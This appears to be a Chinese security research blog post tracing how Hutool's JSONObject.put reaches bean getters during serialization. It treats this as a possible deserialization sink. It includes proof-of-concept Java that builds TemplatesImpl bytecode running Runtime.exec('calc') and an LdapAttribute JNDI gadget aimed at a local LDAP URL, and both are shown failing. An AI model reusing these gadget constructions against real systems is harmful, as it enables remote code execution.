hutool依赖利用链挖掘分析
hutool依赖利用链挖掘分析
hutool依赖利用链挖掘分析
前言
Hutool 是一个 Java 工具库,提供了一系列 开箱即用的工具类,极大地简化 Java 开发,提高代码的可读性和开发效率。它的目标是 让 Java 更简单,类似于 Java 版的 Lodash 或 Guava。
Hutool 由 中国开发者 looly 开发,代码简洁、API 设计优雅,适用于 Java 后端开发、工具开发、数据处理 等场景。
在很多反序列化中,我们经常的sink点都是调用bean的getter或者setter方法,也一直没有停止过对如何调用setter和getter的挖掘,比如我们的fastjson和jackson,但是对于hutool组件的挖掘,网上分析文章非常的少,这里也是进行一波调试分析,探究底层到底是如如何调用getter在我们的反序列化中被利用的
测试代码
package com.aliyunctf.agent;
import cn.hutool.json.JSONObject;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.lang.reflect.Field;
public class Test {
public static class Message {
int code;
String detail;
Object data;
public Message() {
}
public void setCode(int code) {
System.out.println("setCode");
this.code = code;
}
public void setDetail(String detail) {
System.out.println("setdetail");
this.detail = detail;
}
public void setData(Object data) {
System.out.println("setdata");
this.data = data;
}
public int getCode() {
System.out.println("getCode");
return this.code;
}
public String getDetail() {
System.out.println("getDetail");
return this.detail;
}
public Object getData() throws Exception{
System.out.println("getData");
// java.lang.Runtime.getRuntime().exec("open .");
System.out.println(this);
return this.data;
}
public Message(int code, String detail) {
this.code = code;
this.detail = detail;
}
public Message(int code, String detail, Object data) {
this.code = code;
this.detail = detail;
this.data = data;
}
}
public static void main(String[] args) throws Exception {
Message message = new Message();
setFieldValue(message, "code", 1);
setFieldValue(message, "detail", "hello world");
setFieldValue(message, "data", "data");
ObjectMapper objectMapper = new ObjectMapper();
// String s = objectMapper.writeValueAsString(message);
JSONObject entries = new JSONObject();
entries.put("code", message);
// com.alibaba.fastjson.JSON.toJSONString(message);
// System.out.println("1");
}
public static void setFieldValue(Object obj, String name, Object val) throws Exception {
setFieldValue(obj.getClass(), obj, name, val);
}
public static void setFieldValue(Class<?> clazz, Object obj, String name, Object val) throws Exception {
Field f = clazz.getDeclaredField(name);
f.setAccessible(true);
f.set(obj, val);
}
}我们运行发现调用了 put 类的 getter 方法

调用探寻
我们调试分析一下
首先进入 put 方法
public JSONObject put(String key, Object value) throws JSONException {
return this.set(key, value);
}
重点是我们的 value 对象
根据 set 方法
public JSONObject set(String key, Object value) throws JSONException {
return this.set(key, value, (Filter)null, false);
}public JSONObject set(String key, Object value, Filter<MutablePair<String, Object>> filter, boolean checkDuplicate) throws JSONException {
if (null == key) {
return this;
} else {
if (null != filter) {
MutablePair<String, Object> pair = new MutablePair(key, value);
if (!filter.accept(pair)) {
return this;
}
key = (String)pair.getKey();
value = pair.getValue();
}
boolean ignoreNullValue = this.config.isIgnoreNullValue();
if (ObjectUtil.isNull(value) && ignoreNullValue) {
this.remove(key);
} else {
if (checkDuplicate && this.containsKey(key)) {
throw new JSONException("Duplicate key \"{}\"", new Object[]{key});
}
super.put(key, JSONUtil.wrap(InternalJSONUtil.testValidity(value), this.config));
}
return this;
}
}在这里调用了 JSONUtil.wrap(InternalJSONUtil.testValidity(value)去处理我们的对象
public static Object wrap(Object object, JSONConfig jsonConfig) {
if (object == null) {
return jsonConfig.isIgnoreNullValue() ? null : JSONNull.NULL;
} else if (!(object instanceof JSON) && !ObjectUtil.isNull(object) && !(object instanceof JSONString) && !(object instanceof CharSequence) && !(object instanceof Number) && !ObjectUtil.isBasicType(object)) {
try {
if (object instanceof SQLException) {
return object.toString();
} else if (!(object instanceof Iterable) && !ArrayUtil.isArray(object)) {
if (!(object instanceof Map) && !(object instanceof Map.Entry)) {
if (!(object instanceof Date) && !(object instanceof Calendar) && !(object instanceof TemporalAccessor)) {
if (object instanceof Enum) {
return object.toString();
} else {
return ClassUtil.isJdkClass(object.getClass()) ? object.toString() : new JSONObject(object, jsonConfig);
}
} else {
return object;
}
} else {
return new JSONObject(object, jsonConfig);
}
} else {
return new JSONArray(object, jsonConfig);
}
} catch (Exception var3) {
return null;
}
} else {
return object instanceof Number && null != jsonConfig.getDateFormat() ? new NumberWithFormat((Number)object, jsonConfig.getDateFormat()) : object;
}
}就是把我们的 Java 对象包装为相应的 JSON 结构
jdk 原始类判断
在 wrap 方法中会进行 isJdkClass 判断
public static boolean isJdkClass(Class<?> clazz) {
Package objectPackage = clazz.getPackage();
if (null == objectPackage) {
return false;
} else {
String objectPackageName = objectPackage.getName();
return objectPackageName.startsWith("java.") || objectPackageName.startsWith("javax.") || clazz.getClassLoader() == null;
}
}首先获取包名,然后判断包名是否以 java 或者 javax 开头,然后还会判断是否 classloader 加载,因为原生类就是
因为是 jdk 的类会直接返回 obj.tostrng,如果不是才会进行下一步
return new JSONObject(object, jsonConfig);跟进
public JSONObject(Object source, JSONConfig config) {
this(source, config, (Filter)null);
}public JSONObject(Object source, JSONConfig config, Filter<MutablePair<String, Object>> filter) {
this(16, config);
ObjectMapper.of(source).map(this, filter);
}进入我们的 map
public void map(JSONObject jsonObject, Filter<MutablePair<String, Object>> filter) {
Object source = this.source;
if (null != source) {
JSONSerializer serializer = GlobalSerializeMapping.getSerializer(source.getClass());
if (serializer instanceof JSONObjectSerializer) {
serializer.serialize(jsonObject, source);
} else if (source instanceof JSONArray) {
throw new JSONException("Unsupported type [{}] to JSONObject!", new Object[]{source.getClass()});
} else {
if (source instanceof Map) {
Iterator var5 = ((Map)source).entrySet().iterator();
while(var5.hasNext()) {
Map.Entry<?, ?> e = (Map.Entry)var5.next();
jsonObject.set(Convert.toStr(e.getKey()), e.getValue(), filter, jsonObject.getConfig().isCheckDuplicate());
}
} else if (source instanceof Map.Entry) {
Map.Entry entry = (Map.Entry)source;
jsonObject.set(Convert.toStr(entry.getKey()), entry.getValue(), filter, jsonObject.getConfig().isCheckDuplicate());
} else if (source instanceof CharSequence) {
mapFromStr((CharSequence)source, jsonObject, filter);
} else if (source instanceof Reader) {
mapFromTokener(new JSONTokener((Reader)source, jsonObject.getConfig()), jsonObject, filter);
} else if (source instanceof InputStream) {
mapFromTokener(new JSONTokener((InputStream)source, jsonObject.getConfig()), jsonObject, filter);
} else if (source instanceof byte[]) {
mapFromTokener(new JSONTokener(IoUtil.toStream((byte[])((byte[])source)), jsonObject.getConfig()), jsonObject, filter);
} else if (source instanceof JSONTokener) {
mapFromTokener((JSONTokener)source, jsonObject, filter);
} else if (source instanceof ResourceBundle) {
mapFromResourceBundle((ResourceBundle)source, jsonObject, filter);
} else if (BeanUtil.isReadableBean(source.getClass())) {
mapFromBean(source, jsonObject);
} else if (!jsonObject.getConfig().isIgnoreError()) {
throw new JSONException("Unsupported type [{}] to JSONObject!", new Object[]{source.getClass()});
}
}跟进 source 的类型选择对应的 map 方法来处理
isReadableBean 检测
在调用 bean 的处理方法前会坚持当前对象是否为我们的 bean
public static boolean isReadableBean(Class<?> clazz) {
return hasGetter(clazz) || hasPublicField(clazz);
}首先判断是否有 getter 方法
public static boolean hasGetter(Class<?> clazz) {
if (ClassUtil.isNormalClass(clazz)) {
Method[] var1 = clazz.getMethods();
int var2 = var1.length;
for(int var3 = 0; var3 < var2; ++var3) {
Method method = var1[var3];
if (method.getParameterCount() == 0) {
String name = method.getName();
if ((name.startsWith("get") || name.startsWith("is")) && !"getClass".equals(name)) {
return true;
}
}
}
}
return false;
}首先需要判断我们的 class 是一个 isNormalClass
public static boolean isNormalClass(Class<?> clazz) {
return null != clazz && !clazz.isInterface() && !isAbstract(clazz) && !clazz.isEnum() && !clazz.isArray() && !clazz.isAnnotation() && !clazz.isSynthetic() && !clazz.isPrimitive();
}然后判断是否有 getter 方法
然后还要判断 hasPublicField
是否有 public 的字段
public static boolean hasPublicField(Class<?> clazz) {
if (ClassUtil.isNormalClass(clazz)) {
Field[] var1 = clazz.getFields();
int var2 = var1.length;
for(int var3 = 0; var3 < var2; ++var3) {
Field field = var1[var3];
if (ModifierUtil.isPublic(field) && !ModifierUtil.isStatic(field)) {
return true;
}
}
}
return false;
}判断成功后就会进入 mapFromBean 处理
private static void mapFromBean(Object bean, JSONObject jsonObject) {
BeanUtil.beanToMap(bean, jsonObject, InternalJSONUtil.toCopyOptions(jsonObject.getConfig()));
}一直跟进来到 copy 方法
public Map copy() {
Class<?> actualEditable = this.source.getClass();
if (null != this.copyOptions.editable) {
Assert.isTrue(this.copyOptions.editable.isInstance(this.source), "Source class [{}] not assignable to Editable class [{}]", new Object[]{actualEditable.getName(), this.copyOptions.editable.getName()});
actualEditable = this.copyOptions.editable;
}
Map<String, PropDesc> sourcePropDescMap = BeanUtil.getBeanDesc(actualEditable).getPropMap(this.copyOptions.ignoreCase);
sourcePropDescMap.forEach((sFieldName, sDesc) -> {
if (null != sFieldName && sDesc.isReadable(this.copyOptions.transientSupport)) {
sFieldName = this.copyOptions.editFieldName(sFieldName);
if (null != sFieldName) {
if (this.copyOptions.testKeyFilter(sFieldName)) {
Object sValue = sDesc.getValue(this.source);
if (this.copyOptions.testPropertyFilter(sDesc.getField(), sValue)) {
Type[] typeArguments = TypeUtil.getTypeArguments(this.targetType);
if (null != typeArguments) {
sValue = this.copyOptions.convertField(typeArguments[1], sValue);
sValue = this.copyOptions.editFieldValue(sFieldName, sValue);
}
if (null != sValue || !this.copyOptions.ignoreNullValue) {
((Map)this.target).put(sFieldName, sValue);
}
}
}
}
}
});
return (Map)this.target;
}
}将 JavaBean 的属性复制到一个 Map 中,在赋复制过程中会根据 copyOptions 进行一些转换和筛选
isReadable 检测

这里会获取名称和对应的描述
会调用 isReadable
public boolean isReadable(boolean checkTransient) {
if (null == this.getter && !ModifierUtil.isPublic(this.field)) {
return false;
} else if (checkTransient && this.isTransientForGet()) {
return false;
} else {
return !this.isIgnoreGet();
}
}判断这个 fied 是不是 public,有没有对应的 getter 方法,还判断了 fied 是不是 TRANSIENT 修饰
如果是 public 而且有对应的 getter 方法,并且没有被 Transient 修饰才会进入下一步
来到我们的 sink 点
Object sValue = sDesc.getValue(this.source);public Object getValue(Object bean) {
if (null != this.getter) {
return ReflectUtil.invoke(bean, this.getter, new Object[0]);
} else {
return ModifierUtil.isPublic(this.field) ? ReflectUtil.getFieldValue(bean, this.field) : null;
}
}看这个逻辑就是非常清楚了,就是调用我们的 getter 方法
最后也算是分析清楚了
与常规调用 getter 组件区别
TemplatesImpl 类
POC
import cn.hutool.json.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import java.lang.reflect.Field;
public class Test {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("gaoren");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
clazz.addConstructor(constructor);
byte[][] bytess = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", bytess);
setFieldValue(templates, "_name", "a");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
JSONObject entries = new JSONObject();
entries.put("code", templates);
}
public static void setFieldValue(Object obj, String name, Object val) throws Exception {
setFieldValue(obj.getClass(), obj, name, val);
}
public static void setFieldValue(Class<?> clazz, Object obj, String name, Object val) throws Exception {
Field f = clazz.getDeclaredField(name);
f.setAccessible(true);
f.set(obj, val);
}
}这个类是我们的老朋友之一了,但是并不能够利用它,至于原因我们来分析分析
wrap:800, JSONUtil (cn.hutool.json)
set:393, JSONObject (cn.hutool.json)
set:352, JSONObject (cn.hutool.json)
put:340, JSONObject (cn.hutool.json)
main:29, Test还是一样的来到 wrap 方法

这里会进入 isJdkClass 判断
因为这个是 jdk 的原始类
public ClassLoader getClassLoader() {
ClassLoader cl = getClassLoader0();
if (cl == null)
return null;
SecurityManager sm = System.getSecurityManager();
if (sm != null) {
ClassLoader.checkClassLoaderPermission(cl, Reflection.getCallerClass());
}
return cl;
}返回为 null

导致直接 object.toString()
并不会进行下面的步骤,导致利用失败
LdapAttribute
这个类非常有意思,是我们的 jdk 的原生类,而且调用它的 getter 方法可以触发 jndi
看到它的 getAttributeSyntaxDefinition 方法
public DirContext getAttributeSyntaxDefinition() throws NamingException {
DirContext var1 = this.getBaseCtx().getSchema(this.rdn);
DirContext var2 = (DirContext)var1.lookup("AttributeDefinition/" + this.getID());
Attribute var3 = var2.getAttributes("").get("SYNTAX");
if (var3 != null && var3.size() != 0) {
String var4 = (String)var3.get();
return (DirContext)var1.lookup("SyntaxDefinition/" + var4);
} else {
throw new NameNotFoundException(this.getID() + "does not have a syntax associated with it");
}
}是可以进行 jndi 的
具体参考网上,有很多了,我们尝试利用这个
import cn.hutool.json.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.naming.CompositeName;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
public class Test {
public static void main(String[] args) throws Exception {
Class<?> aClass = Class.forName("com.sun.jndi.ldap.LdapAttribute");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(String.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance("exp");
setFieldValue(o,"baseCtxURL","ldap://127.0.0.1:389/123");
setFieldValue(o,"rdn",new CompositeName("xxx//b"));
JSONObject entries = new JSONObject();
entries.put("a", o);
}
public static void setFieldValue(Object obj, String name, Object val) throws Exception {
setFieldValue(obj.getClass(), obj, name, val);
}
public static void setFieldValue(Class<?> clazz, Object obj, String name, Object val) throws Exception {
Field f = clazz.getDeclaredField(name);
f.setAccessible(true);
f.set(obj, val);
}
}一样的到 jdk 判断
wrap:800, JSONUtil (cn.hutool.json)
set:393, JSONObject (cn.hutool.json)
set:352, JSONObject (cn.hutool.json)
put:340, JSONObject (cn.hutool.json)
main:25, Test
在判断中任然不可以

所以导致了利用失败